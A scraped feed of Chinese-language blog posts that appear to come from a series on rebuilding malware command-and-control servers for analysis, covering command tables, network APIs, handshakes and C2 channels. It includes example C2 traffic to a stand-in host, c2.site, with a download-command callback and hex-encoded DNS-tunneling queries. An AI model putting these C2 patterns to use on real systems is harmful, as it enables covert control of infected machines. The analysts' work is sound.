指令代碼 (cmd_code) = 0xBB：執行 print_process_list() 函式，功能：印出 Process 列表 指令代碼 (cmd_code) = 0xCC：執行 download_file() 函式，功能：下載檔案 指令代碼 (cmd_code) = 0xDD：執行 upload_file() 函式，功能：上傳檔案 指令代碼 (cmd_code) = 0xEE：執行 execute_file() 函式，功能：執行檔案 同樣的程式邏輯，若是以組合語言呈現，語法關鍵字如 cmp、call、je等，範例如下：\ncall recv_cmd cmp eax, 0xAA je 0x10000 cmp eax, 0xBB je 0x10001 cmp eax, 0xCC je 0x10002 cmp eax, 0xDD je 0x10003 cmp eax, 0xEE je 0x10004 0x10000: call print_machine_info 0x10001: call print_process_list 0x10002: call download_file 0x10003: call upload_file 0x10004: call execute_file 經由歸納整理後，得知範例中呈現 5 個功能與執行函式，隨即記錄下來。\n你在分析惡意程式過程中，就是要盡力查找類似範例的結構程式碼，即能歸納出惡意程式所有指令列表與功能函式。\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-08/","summary":"\u003cp\u003e若想重新複刻 C2 伺服器的功能，分析惡意程式中間過程有一重要步驟：「找出所有 Command and Control Server 指令列表與功能函式」。\u003c/p\u003e\n\u003cp\u003e分析時，需使用逆向分析工具，例如 IDA Pro、x64dbg 等。如何操作 IDA Pro 或 x64dbg 逆向分析工具，已超出本文範圍。讀者若有興趣，可參考坊\u003cbr\u003e\n間相關專業書籍。\u003c/p\u003e","title":"C2 複刻 08 | 找出所有  Command and Control Server 指令列表與功能函式"},{"content":"對於複刻 C2 伺服器的功能，最重要的一件事就是 \u0026ndash; 紀錄惡意程式所有呼叫的作業系統的網路 API (application programming interface) 函式、其對應的參數與函式回傳值。\n若是 C 語言撰寫的程式，在 Windows 會呼叫 ws2_32.dll 的 WinSock API 與 wininet.dll 的 Windows Internet (WinINet) API。而 Linux 則是呼叫 POSIX Socket API。\nWindows ws2_32.dll 與 wininet.dll API Windows 客戶端(惡意程式)經由 Windows 作業系統內建網路 API 函式，與 C2 伺服器溝通。在分析惡意程式過程中，需留意所呼叫的網路 API 函式，與對應的函式參數、函式回傳值。\n而 Windows 作業系統中，有提供 2 個與網路存取相關的 DLL。\nws2_32.dll，為Windows Socket 2.0。提供與 POSIX 標準相容的 Socket API，主要與 TCP/IP 網路第 3、4 層的連線有關。 wininet.dll，為 Internet Extensions for Win32。提供TCP/IP 網路第7層，HTTP、HTTPS、FTP 與 GOPHER 等協定的連線 API。 以過往經驗，在分析過程中，若發現惡意程式有呼叫 ws2_32.dll 與 wininet.dll 相關網路函式，表示惡意程式有網路連線的意圖，有很大機會是要向 C2 伺服器溝通。\n以下列舉 ws2_32.dll 重要 API，如下。\nsocket gethostbyname inet_addr htons accept bind listen connect recv recvfrom send sendto setsockopt select shutdown close 關於上述 API 的說明，可參閱微軟 MSDN 網頁 (https://docs.microsoft.com/en-us/windows/win32/winsock/winsock-functions)\nwininet.dll 的重要API\nInternetOpenA(W) InternetOpenUrlA(W) InternetConnectA(W) HttpOpenRequestA(W) InternetQueryOptionA(W) InternetSetOptionA(W) HTTPSendRequestA(W) InternetReadFile InternetWriteFile InternetCloseHandle 關於上述 API 的說明，可參閱微軟 MSDN 網頁 (https://docs.microsoft.com/en-us/windows/win32/wininet/wininet-functions)\nLinux POSIX Socket API Linux 客戶端(惡意程式)經由 Linux 作業系統內建網路 API 函式，與 C2 伺服器溝通。但Linux 作業系統內建僅提供與 POSIX 標準相容的 Socket API。\nLinux 沒有類似 Windows的 wininet.dll，由作業系統提供 TCP/IP HTTP、FTP 等協定的函式庫。\n以下列舉 Linux POSIX Socket API 重要的網路函式。\nsocket gethostbyname inet_addr htons accept bind listen connect recv recvfrom send sendto setsocketopt select shutdown close getsockname getpeername 關於上述 API 的說明，可參閱 Linux Programmer\u0026rsquo;s Manual。 需要安裝 manpags-dev 套件\nsudo apt-get install manpages-dev 查詢時使用 man 指令，中間加上數字 2 或 3，後面接你要查詢的 API 名稱即可。 例如 man 2 socket。\n此外，在使用 Linux 作業系統撰寫網路程式時，常呼叫之系統相關 API 函式列舉如下：\nfork exec execlp execvp signal wait waitpid fnctl open setsid setgid dup dup2 以過往經驗，在分析過程中，若發現惡意程式有呼叫 POSIX Socket API 函式，並伴隨著上述提到的系統相關函式。表示惡意程式有網路連線的意圖，有很大機會是要向 C2 伺服器溝通。\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-07/","summary":"\u003cp\u003e對於複刻 C2 伺服器的功能，最重要的一件事就是 \u0026ndash; 紀錄惡意程式所有呼叫的作業系統的網路 API (application programming interface) 函式、其對應的參數與函式回傳值。\u003c/p\u003e\n\u003cp\u003e若是 C 語言撰寫的程式，在 Windows 會呼叫 ws2_32.dll 的 WinSock API 與 wininet.dll 的 Windows Internet (WinINet) API。而 Linux 則是呼叫 POSIX Socket API。\u003c/p\u003e","title":"C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API"},{"content":"Command and Control Server 握手 (Handshake) 與認證 (Authentication) 正如同 阿里巴巴與四十大盜 「芝麻開門」口令。口令目的就像一組共用密碼，能肯定接近的人，是不是自己人。\n同樣地，口令機制對客戶端(惡意程式)與 C2 伺服器也不可或缺。C2 伺服器開在 Internet 上，隨時都有刺探連線。會需要測試連線上來的客戶端，是不是自己人。\n口令機制歸納有 2 種實現方式，\n一是握手(Handshake)機制，另一則是認證(Authentication)機制。\nCommand and Control Server 握手機制 (Handshake) 握手機制是雙方完成 TCP 三向交握，建立連線後，進行的第一個動作。客戶端(惡意程式)與伺服器端(C2 端) 程式要先議定通訊內容的格式，傳送內容若符合格式，C2 端才會繼續下指令。\n例如本文設計的範例，c2rocks 後門程式。連線時，會先在封包最前面填入 0xaabbccdd uint32_t 的數值，也就是俗稱 magic，做為握手機制的第一關。\nc2rocks 後門程式握手機制範例\nmagic 字串後面資料格式，也以 C 語言的資料結構去設計與解析。\nstruct cmd_rtarget { uint8_t key; uint32_t len; char *val; }; struct response { uint32_t magic; uint32_t payload_size; uint8_t xor_key; uint8_t vector; uint8_t targs_len; struct cmd_rtarget *targs; uint8_t opts_len; struct cmd_rtarget *opts; }; 能夠解析的客戶端(惡意程式)，才能順利通過 C2 伺服器的握手機制測試。\nCommand and Control Server 認證機制 (Authentication) 認證機制是雙方建立起 TCP 連線後，進行的第一個動作。最常見的實做方式，就是挑戰回應協定 (Challenge and response)， 讀者熟知的密碼驗證機制，就是其中一種。\n雙方共同擁有 1 組密碼，密碼僅供認證使用。步驟有三：\nC2 伺服器端詢問密碼 (下圖中紅字標示挑戰，此步驟可省略) 客戶端送出密碼給 C2 伺服器（下圖中紅字標示回應)。 C2 伺服器比對密碼是否正確。若是，通過認證，傳送 OK。若否，認證失敗。 認證機制範例\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-06/","summary":"\u003cp\u003eCommand and Control Server 握手 (Handshake) 與認證 (Authentication) 正如同 阿里巴巴與四十大盜 「芝麻開門」口令。口令目的就像一組共用密碼，能肯定接近的人，是不是自己人。\u003c/p\u003e\n\u003cp\u003e同樣地，口令機制對客戶端(惡意程式)與 C2 伺服器也不可或缺。C2 伺服器開在 Internet 上，隨時都有刺探連線。會需要測試連線上來的客戶端，是不是自己人。\u003c/p\u003e","title":"C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication)"},{"content":"現實生活中，2 個人要互相溝通，一定會有個先說話的人。而客戶端(這裡指的是惡意程式)與 Command and Control Server (C\u0026amp;C、C2) 伺服器端要互相通訊，道理也相同，會有一方先發起連線。\n「先發起連線」的定義是「在雙方完成 TCP 三向交握後，或使用 UDP 通訊協定，首先發送通訊資料的那一方」。\n如何判斷哪方先發起連線呢？依我的經驗，在還沒深入逆向分析惡意程式前，可以用猜的。\n依經驗，多數惡意程式都是先發起連線的那方，並且使用 TCP 協定。猜測與驗證方式說明如下：\n驗證方式可使用有「網路瑞士刀」之稱的 netcat 程式。有 2 個假設前提，如下：\n假設惡意程式是先發起連線 已修改惡意程式連線的目標位址，改為執行 nc 的主機 IP 執行 nc 程式，設定通訊埠 (port)(例如Port 4444)，來被動接聽 (Listen) tcp 封包。\n接著，執行惡意程式，若螢幕畫面上有輸出字串(字串內容可能是亂碼)，即表示惡意程式是先發起連線那端。\n反之，等了一段時間，都沒有螢幕畫面輸出任何資料的話，即表示 C2 伺服器是先發起連線那端。\n$ nc -l 4444 複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-05/","summary":"\u003cp\u003e現實生活中，2 個人要互相溝通，一定會有個先說話的人。而客戶端(這裡指的是惡意程式)與 Command and Control Server (C\u0026amp;C、C2) 伺服器端要互相通訊，道理也相同，會有一方先發起連線。\u003c/p\u003e","title":"C2 複刻 05 | 判斷Command and Control Server (C\u0026C、C2)發起連線端"},{"content":"觀察 Command and Control Server 通訊方式，跟小時候趴在地上，觀察地上爬的螞蟻一樣。\n我小時候喜歡觀察螞蟻。偶然會在餐桌、客廳或房間，無意間發現一群螞蟻在地上的餅乾屑或糖果圍成一圈，在旁邊還會有一隻接著一隻的螞蟻，彷彿在接力般，將食物搬回巢穴裡。\n我當時最喜歡做的事，就是順著螞蟻回巢路線找牠們的家。追蹤過程有時還會被不同的蟻群誤導，最後才發現牠們是從家門縫間鑽進來，原本的老巢在屋外。\n在蟻群追蹤過程中要能找到蟻窩，首先要有好奇心並耐住性子觀察、中間細心分析可能的蟻群路線，再大膽假設路線，最後得證，順利找到蟻窩。\n而這其中所需要的人格特質：\n好奇心 耐住性子觀察 細心分析 大膽假設，小心求證 也同樣是成功找出C2 通訊協定所需。\n不僅是粗淺地將惡意程式丟入沙箱，找出中繼站，做為 IOC(Indicator of Comprimise) 後，隨即將惡意程式封存結案。\n你必須要保持好奇心，告訴自己：「我非常想知道，惡意程式跟 C2 伺服器在傳什麼資料？惡意程式連上 C2 伺服器時，C2 伺服器到底跟它說了什麼？」\n再來，你必須能「耐住性子觀察」。你若是急性子的人，現在可以關掉網頁離開。因為「找出C2 通訊協定」這件事，你需要花數不清的時間，端看惡意程式複雜程度。\n至於觀察，你需要在一次又一次除錯停止與啟動間，觀察惡意程式的動靜。例如寫入或讀取什麼檔案、註冊值，或在某個條件判斷失敗後，程式無預警結束。\n而「細心分析」部份，在惡意程式分析過程中，需要找出每個滿足惡意程式繼續執行的條件，或者關鍵主程式，分析作業才能繼續往下進行。\n一枝草一點露，把惡意程式每條組語走過一遍，了解對應的功能。\n最後，科學精神的名言錦句「大膽假設，小心求證」。在惡意程式分析與觀察過程中，一邊分析，你的腦袋會一邊努力地想連結至先前分析經驗中。\n試圖要將現在這個惡意程式與先前分析經驗做關聯。這時候，我會相信大腦的第一直覺，先大膽假設，嘗試做關聯與驗證，證明假設正確與否。若初步驗證不正確，即進行 3 步驟:\n確認輸入資料是否有誤 驗證步驟是否有誤 解讀輸出資料方法是否有誤，再全部確認一次。 若 3 步驟執行完畢，確認假設錯誤，再搜尋網路資料，是否有其他可能性。重複操作直到發現正確的 C2 通訊協定為止。\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-04/","summary":"\u003cp\u003e觀察 Command and Control Server 通訊方式，跟小時候趴在地上，觀察地上爬的螞蟻一樣。\u003c/p\u003e\n\u003cp\u003e我小時候喜歡觀察螞蟻。偶然會在餐桌、客廳或房間，無意間發現一群螞蟻在地上的餅乾屑或糖果圍成一圈，在旁邊還會有一隻接著一隻的螞蟻，彷彿在接力般，將食物搬回巢穴裡。\u003c/p\u003e","title":"C2 複刻 04 | Command and Control Server (C\u0026C、C2) 觀察"},{"content":"Command \u0026amp; Control (C\u0026amp;C) 依網路通訊協定，可分為以下 5 種類型，做為通訊的管道。\nTCP UDP DNS HTTP (含 SSL) 社群媒體網站 TCP TCP 是一種網路傳輸協定，內建錯誤重傳機制。可靠、不易出錯，且內建在多種主流作業系統中(e.g., Socket API)，常用於 Bot 與 C2 通訊中。\n若傳輸過程中，彼此需要隱匿通訊，則可挑選合適的加解密演算法，實作加解密機制。\nUDP UDP 傳輸協定有高效能、小封包的優點。亦內建在多種主流作業系統中(e.g., Socket API) ，但無錯誤重傳機制。\n使用於 C2 通訊時，需加上驗證與重傳機制。例如，計算與比對每筆傳輸內容的雜湊值。隱匿通訊與 TCP 相同，藉由加解密機制達成。\nDNS Tunneling DNS (Domain Name Service) 全名是網域名稱服務。功能為查詢網域名稱時，回覆對應 IP 的資訊。\n例如，查詢網域名稱 ( www.google.com) ，回覆IP是 「216.58.200.228」。使用 nslookup 工具查詢結果，如下：\n$ nslookup www.google.com Server:\t127.0.1.1 Address:\t127.0.1.1#53 Non-authoritative answer: Name:\twww.google.com Address: 216.58.200.228 DNS 不啻是 Internet 的基石。駭客常利用 DNS 封包的 2 個位置，分別是子網域與TXT 紀錄，放入欲傳輸的內容，做為 Bot 與 C2 彼此溝通的橋樑。此機制亦稱為 DNS Tunneling。\n子網域 將傳輸的內容編碼後，依固定長度分段放置於子網域。依序利用多個 DNS 查詢封包，達成 Bot 向 C2 的通訊目的。\n例如，將「愛麗絲夢遊仙境」小說的其中一段文字，將文字轉換為 16 進位後，編碼分段後置入子網域中，如下範例。\n416c6963652077617320626567696e6e.c2.site 696e6720746f20676574207665727920.c2.site 7469726564206f662073697474696e67.c2.site 2062792068657220736973746572206f.c2.site 6e207468652062616e6b2c20616e6420.c2.site 6f6620686176696e67206e6f7468696e.c2.site 6720746f20646f3a206f6e6365206f72.c2.site 20747769636520736865206861642070.c2.site 656570656420696e746f207468652062.c2.site 6f6f6b20686572207369737465722077.c2.site 61732072656164696e672c2062757420.c2.site 697420686164206e6f20706963747572.c2.site 6573206f7220636f6e76657273617469.c2.site 6f6e7320696e2069742c2022616e6420.c2.site 77686174206973207468652075736520.c2.site 6f66206120626f6f6b2c222074686f75.c2.site 67687420416c6963652c202277697468.c2.site 6f7574207069637475726573206f7220.c2.site 636f6e766572736174696f6e733f2220.c2.site TXT 紀錄 DNS 查詢類別的回應(Response)資料之一。最廣為人知的是 類別 A 與 AAAA 的資料，標註網域名稱所對應的IP。\n次之，則是類別 MX， 存放的是郵件伺服器資訊。而類別 TXT 存放的是描述性文字，可存放任意字元。駭客常使用類別 TXT ，做以下事情。傳輸方向主要是 C2 對 Bot 的通訊。\n對Bot 下指令 將惡意程式編碼後，放在 TXT 紀錄中，好讓 Bot 下載 我將「愛麗絲夢遊仙境」小說的其中一段文字，編碼後置入c2.site 網域的TXT 紀錄中 。\n透過 DNS 紀錄查詢工具 dig 的查詢回應結果，如下範例。「;」符號開頭的文字為註解。\n$ dig c2.site -t txt ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.10.3-P4-Ubuntu \u0026lt;\u0026lt;\u0026gt;\u0026gt; c2.site -t txt ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 739 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;c2.site. IN TXT ;; ANSWER SECTION: c2.site. 10800 IN TXT \u0026#34;416c6963652077617320626567696e....\u0026#34; ;; Query time: 89 msec ;; SERVER: 127.0.1.1#53(127.0.1.1) ;; WHEN: Fri Dec 27 14:17:07 CST 2019 ;; MSG SIZE rcvd: 93 HTTP (含 SSL) HTTP 屬於 TCP/IP 應用層的協定。支援多種傳輸方法(HTTP Method)，如 GET、POST、PUT、HEAD、OPTIONS 等。其中最廣泛使用的方法是 GET 與 POST 。\n由於 GET 方法是將傳遞的多個參數與值，附加在 URL 後面，參數之間以「\u0026amp;」分隔。容易在 Proxy 日誌與 網站存取日誌 (Web access log) 留下紀錄，故不常用於 Bot 與 C2 通訊中。\nhttp://c2.site/callback.php?cmd=download\u0026amp;url=https://foo.bar/a.tgz 而 POST 方法是將傳遞的參數與值，置於 HTTP Body 中。\nPOST /callback.php HTTP/1.1 Host: c2.site Content-Type: application/x-www-form-urlencoded Content-Length: 38 cmd=download\u0026amp;url=https://foo.bar/a.tgz 在 Proxy Log 與網站存取日誌 (Web access log) 僅會有存取 callback.php的紀錄，但無 POST 的參數內容，故常用於 Bot 與 C2 通訊中。\n若傳輸過程中，彼此需要隱匿通訊，則會搭配 SSL (Secure Socket Layer)，或是挑選合適的加密演算法，將傳輸內容加密。\n社群媒體網站服務 在現今人手一機的時代，人們每天瀏覽社群媒體的消息，存取社群媒體網站服務，已是每日例行公事。\n而駭客為了切換 Bot 連線的 C2位址，會將 C2 位址資訊以「編碼」或「加密」形式，貼至公開社群媒體頁面，例如推特 (Twitter)、Blog BSP等。\n惡意程式作者預先寫死 (Hard coded) 社群媒體網址在Bot 程式碼中。之後，Bot程式欲向 C2 報到前，會先至社群媒體網址，存取 C2 位址資訊後，再去 C2 報到。\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-c2-03/","summary":"\u003cp\u003eCommand \u0026amp; Control (C\u0026amp;C) 依網路通訊協定，可分為以下 5 種類型，做為通訊的管道。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eTCP\u003c/li\u003e\n\u003cli\u003eUDP\u003c/li\u003e\n\u003cli\u003eDNS\u003c/li\u003e\n\u003cli\u003eHTTP (含 SSL)\u003c/li\u003e\n\u003cli\u003e社群媒體網站\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"tcp\"\u003eTCP\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://zh.wikipedia.org/zh-tw/%E4%BC%A0%E8%BE%93%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE\"\u003eTCP\u003c/a\u003e 是一種網路傳輸協定，內建錯誤重傳機制。可靠、不易出錯，且內建在多種主流作業系統中(e.g., Socket API)，常用於 Bot 與 C2 通訊中。\u003c/p\u003e","title":"C2 複刻 03 | Command and Control Server (C\u0026C、C2) 通訊協定類型"},{"content":"依據 Trend Micro [1]、Whatis.com [2] 與 Malwarebytes LABS [3] 之定義，Command and Control Server (C2 伺服器)可歸納出 3 點特色：\n一台遭犯罪者控制的電腦或伺服器 會發送操控指令給遭惡意程式感染的殭屍電腦 會從殭屍電腦接收資料 後面章節會詳細介紹如何剖析 C2 伺服器操控指令的技巧，並實做 C2 伺服器程式範例。\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-c2-02-command-and-control-server/","summary":"\u003cp\u003e依據 Trend Micro [\u003ca href=\"https://www.trendmicro.com/vinfo/us/security/definition/command-and-control-server\"\u003e1\u003c/a\u003e]、Whatis.com [\u003ca href=\"https://whatis.techtarget.com/definition/command-and-control-server-CC-server\"\u003e2\u003c/a\u003e] 與 Malwarebytes LABS [\u003ca href=\"https://blog.malwarebytes.com/glossary/cc/\"\u003e3\u003c/a\u003e] 之定義，Command and Control Server (C2 伺服器)可歸納出 3 點特色：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e一台遭犯罪者控制的電腦或伺服器\u003c/li\u003e\n\u003cli\u003e會發送操控指令給遭惡意程式感染的殭屍電腦\u003c/li\u003e\n\u003cli\u003e會從殭屍電腦接收資料\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e後面章節會詳細介紹如何剖析 C2 伺服器操控指令的技巧，並實做 C2 伺服器程式範例。\u003c/p\u003e","title":"C2 複刻 02 - Command and Control Server 定義"},{"content":"惡意程式執行時，常向惡意中繼站 (C2) 連線報到 (Check-in)，並加入Botnet等候駭客下達指令。以後門程式為例，該惡意程式之功能，皆由駭客透過遠端 C2下達指令而驅動。\n許多惡意程式內含有如 gh0st 的 RAT功能，駭客植入後門後，即可在受害者機器中進行上傳、下載或更新程式等動作。\n因此，分析惡意程式時，若無法接收 C2指令，則時常無法重現其完整行為。試問，若讓惡意程式直接與 C2連線，問題即可解決否？\n答案為否，原因有二。\n其一：直接連線可能導致分析行為被駭客發現之風險。因為，動態分析時，常會將惡意程式反覆開關，並頻繁進出C2 伺服器。\n其二：作為 Botnet一份子，只能被動接收資訊與被控制，也無法有效率且完 整分析惡意程式。\n換言之，若想讓惡意程式完整接收到 C2指令，且不須擔心上述問題。則勢必要複刻完整 C2 伺服器的功能。此舉就像線上遊戲玩家架設遊戲私服，玩家可隨意做各種嘗試。\n因此，我們若能架設 C2 私服，讓惡意程式向 C2私服報到。如此，重現惡意程式完整功能，便如囊中取物了。\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-c2-01/","summary":"\u003cp\u003e惡意程式執行時，常向惡意中繼站 (C2) 連線報到 (Check-in)，並加入Botnet等候駭客下達指令。以後門程式為例，該惡意程式之功能，皆由駭客透過遠端 C2下達指令而驅動。\u003c/p\u003e","title":"C2 複刻 01 - 為何投入複刻 C2 工作？"},{"content":"逆向工程 (Reverse Engineering) 是從剖析成品的過程，從中得知材料的功能規格，及如何組合。在生活中，對逆向工程技術，我們並不陌生。\n比方說，你在家裡嘗試沖出跟連鎖店相同風味的咖啡。或是，自己在外地去菜市場買菜，做出有媽媽味道的料理。\n在駭客領域中，逆向工程技術扮演不可或缺的角色。尤其是惡意程式分析、漏洞挖掘與軟體破解領域。由於缺乏程式原始碼，逆向工程技術就變成理解惡意程式或軟體產品的唯一手段。\n有些從事資安工作的朋友們，總說逆向很難，視逆向工程技術為畏途。但是，\n勤學似春起之苗，不見其增，日有所長。\n輟學如磨刀之石，不見其損，日有所虧。\n陶淵明\n就像陶淵明說的，一點一滴學習，努力堅持，總有一天會開花結果。\n接下來，文章會跟大家分享學習逆向工程技術時，需要掌握的知識與工具。\n組合語言 組合語言(簡稱組語) 是一種低階的程式語言。依不同 的電腦 CPU 架構，組語寫法亦不同。逆向工程第一步，常將編譯好的軟體程式進行反組譯。由於 Intel CPU 市佔率高，逆向工程最常遇到 Intel x86 組語。不過，近幾年大量 IOT 裝置聯網，往後接觸 ARM 組語的機會也會不少。\n反組譯程式畫面\n推薦新手從 Intel x86 組語入門，網路學習資源豐富，亦可選擇坊間中英文出版書籍，進行學習。\n學習資源：\nNASM Assembly Language Tutorials - asmtutor.com (學習 Linux 作業系統組合語言) Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 2 (2A, 2B, 2C \u0026amp; 2D): Instruction Set Reference, A-Z 書籍: Assembly Language Step-by-Step: Programming with Linux 